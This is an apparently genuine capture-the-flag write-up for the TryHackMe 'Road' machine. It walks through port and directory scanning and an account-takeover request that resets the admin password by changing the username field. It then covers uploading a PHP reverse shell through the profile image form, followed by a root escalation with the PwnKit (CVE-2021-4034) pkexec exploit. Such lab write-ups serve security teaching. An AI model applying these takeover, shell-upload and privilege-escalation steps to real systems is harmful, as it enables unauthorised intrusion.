CTF : Road

CTF Road writeup. Source THM. Announced difficulty level: Medium

Posted by Boula-Bytes on 07 July 2022

CTF : Road

Informations

  • IP: 10.10.112.242
  • MYIP: 10.9.85.5

First enumeration

Basics

  • NMAP
console
$ sudo nmap -p22,80 -A 10.10.112.242
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-07 21:32 CEST
Nmap scan report for 10.10.112.242
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e6:dc:88:69:de:a1:73:8e:84:5b:a1:3e:27:9f:07:24 (RSA)
|   256 6b:ea:18:5d:8d:c7:9e:9a:01:2c:dd:50:c5:f8:c8:05 (ECDSA)
|_  256 ef:06:d7:e4:b1:65:15:6e:94:62:cc:dd:f0:8a:1a:24 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sky Couriers
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   36.49 ms 10.9.0.1
2   36.50 ms 10.10.112.242

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.09 seconds
console
$ gobuster dir -f -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.112.242/v2/ -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub,jar
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.112.242/v2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              zip,sql.bak,tgz,log,py,pub,php.bak,bak,tar.gz,tar,id_rsa,sh,pl,rb,cgi,jar,js,php,sql,bkp,rar,xml,csv,html,json,txt
[+] Add Slash:               true
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2022/07/07 22:13:32 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2619]
/profile.php          (Status: 200) [Size: 2619]
/admin/               (Status: 200) [Size: 32]  
/lostpassword.php     (Status: 200) [Size: 22]
console
gobuster dir -f -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.112.242/v2/admin/ -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub,jar
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.112.242/v2/admin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php.bak,sql.bak,bkp,pub,txt,bak,zip,tgz,tar,pl,rb,js,sql,tar.gz,rar,id_rsa,log,csv,jar,cgi,php,xml,json,sh,py
[+] Add Slash:               true
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2022/07/07 22:26:55 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 32]
/login.html           (Status: 200) [Size: 2619]
/register.html        (Status: 200) [Size: 3798]
/reg.php              (Status: 200) [Size: 28]  
/logout.php           (Status: 200) [Size: 2619]
Progress: 191484 / 5955147 (3.22%)             ^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2022/07/07 22:39:45 Finished
===============================================================

Vulnerabilities search

console
$ nikto -host 10.10.112.242
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.112.242
+ Target Hostname:    10.10.112.242
+ Target Port:        80
+ Start Time:         2022-07-07 22:02:21 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 4c97, size: 5ce886fbdbcdf, mtime: gzip
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET 
+ OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ /phpMyAdmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7892 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2022-07-07 22:08:40 (GMT2) (379 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.41) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)? n

Exploit

First I tried to login into the web interface :

http://10.10.112.242/v2/admin/login.html

But I don't know any user... Thanksfully we can create a new via register button.

Then I entered the newly created creds and sign in.

Now there is two pages that should be interesing :

  1. The edit profile page http://10.10.112.242/v2/profile.php

On this page we learn that only the admin can change profile options and it let us know the admin login : admin@sky.thm

  1. The reset user page http://10.10.112.242/v2/ResetUser.php

It permits to change the current user password but if we intercept it with burp we can change the username ;)

POST /v2/lostpassword.php HTTP/1.1
Host: 10.10.112.242
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: fr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18730205262181738328290571262
Content-Length: 644
Origin: http://10.10.112.242
Connection: close
Referer: http://10.10.112.242/v2/ResetUser.php
Cookie: PHPSESSID=9re8h3a99ke3afk90g6q9ma4vg; Bookings=0; Manifest=0; Pickup=0; Delivered=0; Delay=0; CODINR=0; POD=0; cu=0
Upgrade-Insecure-Requests: 1

-----------------------------18730205262181738328290571262
Content-Disposition: form-data; name="uname"

admin@sky.thm
-----------------------------18730205262181738328290571262
Content-Disposition: form-data; name="npass"

toto
-----------------------------18730205262181738328290571262
Content-Disposition: form-data; name="cpass"

toto
-----------------------------18730205262181738328290571262
Content-Disposition: form-data; name="ci_csrf_token"


-----------------------------18730205262181738328290571262
Content-Disposition: form-data; name="send"

Submit
-----------------------------18730205262181738328290571262--

And now we got the admin creds :)

Now I can use the profile image upload to upload a reverse shell.

Now in the page source code there is a clue : 

html
<!-- /v2/profileimages/ -->

Launch a pwncat and then : 

console
curl http://10.10.112.242/v2/profileimages/shell.php

And we got shell :) 

console
$ cd /home/webdeveloper
$ cat user.txt

Privilege escalation

Enumeration for privesc

console
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.2 LTS
Release:    20.04
Codename:   focal
$ uname -a
Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
console
$ find / -user root -perm -4000 2>/dev/null
[...]
/usr/bin/pkexec
[...]

As this is an old enough OS, we can try pwnkit.

Using pwncat I uploaded the python exploit for pwnkit.

Exploit

console
$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# cat /root/root.txt

\o/